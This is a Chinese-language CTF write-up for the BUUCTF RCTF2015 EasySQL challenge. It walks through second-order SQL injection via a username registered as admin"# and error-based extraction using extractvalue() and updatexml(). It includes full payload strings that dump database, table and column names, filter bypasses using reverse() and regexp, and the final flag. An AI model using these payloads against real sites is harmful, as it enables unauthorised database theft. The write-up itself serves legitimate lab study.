2025.1.20——一、[RCTF2015]EasySQL1 二次注入|报错注入|代码审计
题目泉源:buuctf EasySQL1目次
一、打开靶机,整理信息
二、解题思路
step 1:开端思路为二次注入,在页面进行操作
step 2:实验二次注入
step 3:已知双引号范例的字符型注入,构造payload
step 4:报错注入
step 5:三爆
方法①extractvalue()函数
方法②updatexml()函数
三、小结
一、打开靶机,整理信息
https://i-blog.csdnimg.cn/direct/f85abdfffd0c43a9a9cc7b38616b6407.png打开题目看到登岸和注册两个按钮,前面做的二次注入题目跟这里也有相似点
https://i-blog.csdnimg.cn/direct/a1b8d0e5822b4a9bb32c0b6ae3b5df78.png
网页源码中也提到了这两个页面
而靶机给了这道题的源码,可以进行代码审计,看看有无熟悉的东西
二、解题思路
step 1:开端思路为二次注入,在页面进行操作
输入:username=admin password=1
发现得到回显:https://i-blog.csdnimg.cn/direct/710c6fcc4f1648178f0d033fe14914ad.png
说明已存在admin用户名,那能否用sql注入登岸admin用户呢?
这里开端断定为二次注入,可以实验一下,二次注入的核心思想,参考sql-labs less24
二次注入条件:注册时sql语句无效(被转义),登岸时or修改暗码(必要用到username进行比对时)sql语句生效(去掉转义)
二次注入核心步调
step1:注册一个辅助帐号:admin' #
step2:修改辅助帐号暗码
step3:登岸admin账号,用辅助帐号暗码,即可登岸进去
step 2:实验二次注入
1.先注册一个辅助帐号:username=‘admin'#' and password='111' (这里用单引号由于是字符串)
这里带空格注册,会显示invalid string,空格应该是被过滤了,二次注入实验后,可以抓包fuzz一下
2.登岸辅助帐号https://i-blog.csdnimg.cn/direct/4dba0a1e319540fc915c6c86b0f01082.png 下面的内容是作者玩梗,没用
3.点击用户名修改暗码为222
4.登岸admin账号,用password=222,登岸失败,没想到惨遭滑铁卢。
在这纠结了好久,然后发现有大概是双引号范例的注入,重新二次注入,修改辅助帐号username=admin"# password=111,重复上述操作,登岸admin账号,用修改后的password=222,登岸乐成https://i-blog.csdnimg.cn/direct/a46fc2f8e3aa4b24a9e667f8a977f7cd.png,但是没有关于flag的信息
但至少我们知道了这里存在二次注入漏洞,而且注入点在username,并推测后端sql语句为
select * from user where username="xxx" and password='xxx' step 3:已知双引号范例的字符型注入,构造payload
这里必要注意的是前面用username=admin' #进行注册时,显示invalid string,说明这里存在过滤,bp抓包爆破一下,看看用什么方法注入
https://i-blog.csdnimg.cn/direct/caa893d61b7f4f258f37fee6d557dbb0.png
发现length、handler、like、sleep、select、left、right、and、floor、rand()等都被过滤掉了,感觉熟悉的报错注入在等着我们,extractvalue()和updatexml()未被过滤,以是可以进行报错注入了
插入:题目附带的源码中有提到这一点,以是代码审计很紧张,很多东西都藏好了
https://i-blog.csdnimg.cn/direct/82828b785b5c435db822eb27748b4dff.png
step 4:报错注入
看了其他师傅的wp,用username=1'"注册登岸进去修改用户名,回显
https://i-blog.csdnimg.cn/direct/b98c0897796b41c7b505ce96faa1ee5f.png
目前确定下来注入点在username,但回显点在修改暗码那边,要用报错注入,双引号范例注入,构造payload,查看数据库中的表名。
https://i-blog.csdnimg.cn/direct/3386f779f0254ffd8db8eb82426f8777.png
这段代码给了我们sql语句
注:stripslashes函数是去除反斜杠的意思
以是用含有sql注入语句的用户名注册,登岸进去,修改暗码时,语句生效
step 5:三爆
方法①extractvalue()函数
爆数据库名
admin"||extractvalue(1,concat(0x7e,(select(database())),0x7e))# https://i-blog.csdnimg.cn/direct/0f14f6b99cde4a0e81defebdbae421c9.png
爆表名
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))# https://i-blog.csdnimg.cn/direct/aad85f1de8414df5b125988630c56260.png
爆列名
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
https://i-blog.csdnimg.cn/direct/007e080160184086afc831cd15949430.png
爆flag
admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))# https://i-blog.csdnimg.cn/direct/574c2804c0bd4037990f87ca64c3e80e.png
看来不在flag列里,看看user表
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))# https://i-blog.csdnimg.cn/direct/3bf1387966bd4df7a56826e89a169a69.png
由于前面提到left()和right()都被过滤了,这里用reverse()函数,将报错回显的效果倒置,以此来查看末尾未显示的信息。
admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))# https://i-blog.csdnimg.cn/direct/db5f76f47fb34b4ba21924c4842a2e49.png
以是正确表名为:real_flag_1s_here,获取flag
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))# https://i-blog.csdnimg.cn/direct/de308673efaa402f8befd75a520c6521.png发现效果超过一行,以是这里用正则表达式获取flag值
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))# https://i-blog.csdnimg.cn/direct/73873795a9fe412f8f36814848fec662.png
flag{847e1ca4-00e4-4fbd-a986-cb,extractvalue函数只能显示32位,以是仍然用reverse()函数
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))# https://i-blog.csdnimg.cn/direct/a04c20a32e0e43f78f74fe3486c858c6.png
~}bbe2976fdabc-689a-dbf4-4e00-4a 倒置后得a4-00e4-4fbd-a986-cbadf6792ebb}
以是flag为flag{847e1ca4-00e4-4fbd-a986-cbadf6792ebb}
方法②updatexml()函数
爆数据库名
admin"||(updatexml(1,concat('~',(select(database()))),1))#
爆表名
admin"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#
爆列名
admin"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#
爆flag
admin"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))#
换user表查询
admin"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#
用正则表达式
admin"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#
reverse函数输出
admin"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
同样得到flag
三、小结
1.注意当整数型、字符型(单引号)注入失败,不要忘了双引号型注入
2.要判断回显点,尤其是二次注入里,用闭合双引号后为空,看哪里有报错回显
3.当回显信息行数太多,无法显示,用正则表达式
4.当left()和right()函数都被过滤,可以用reverse()函数将flag倒置,然后再翻过来
5.源码中有很多信息,好比被过滤的字符,好比数据库名、表名
https://i-blog.csdnimg.cn/direct/c7c542db6e3f4cec9a0e6751125e42e8.pnghttps://i-blog.csdnimg.cn/direct/6a3b13894b7543b9b6baa83635a99d79.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]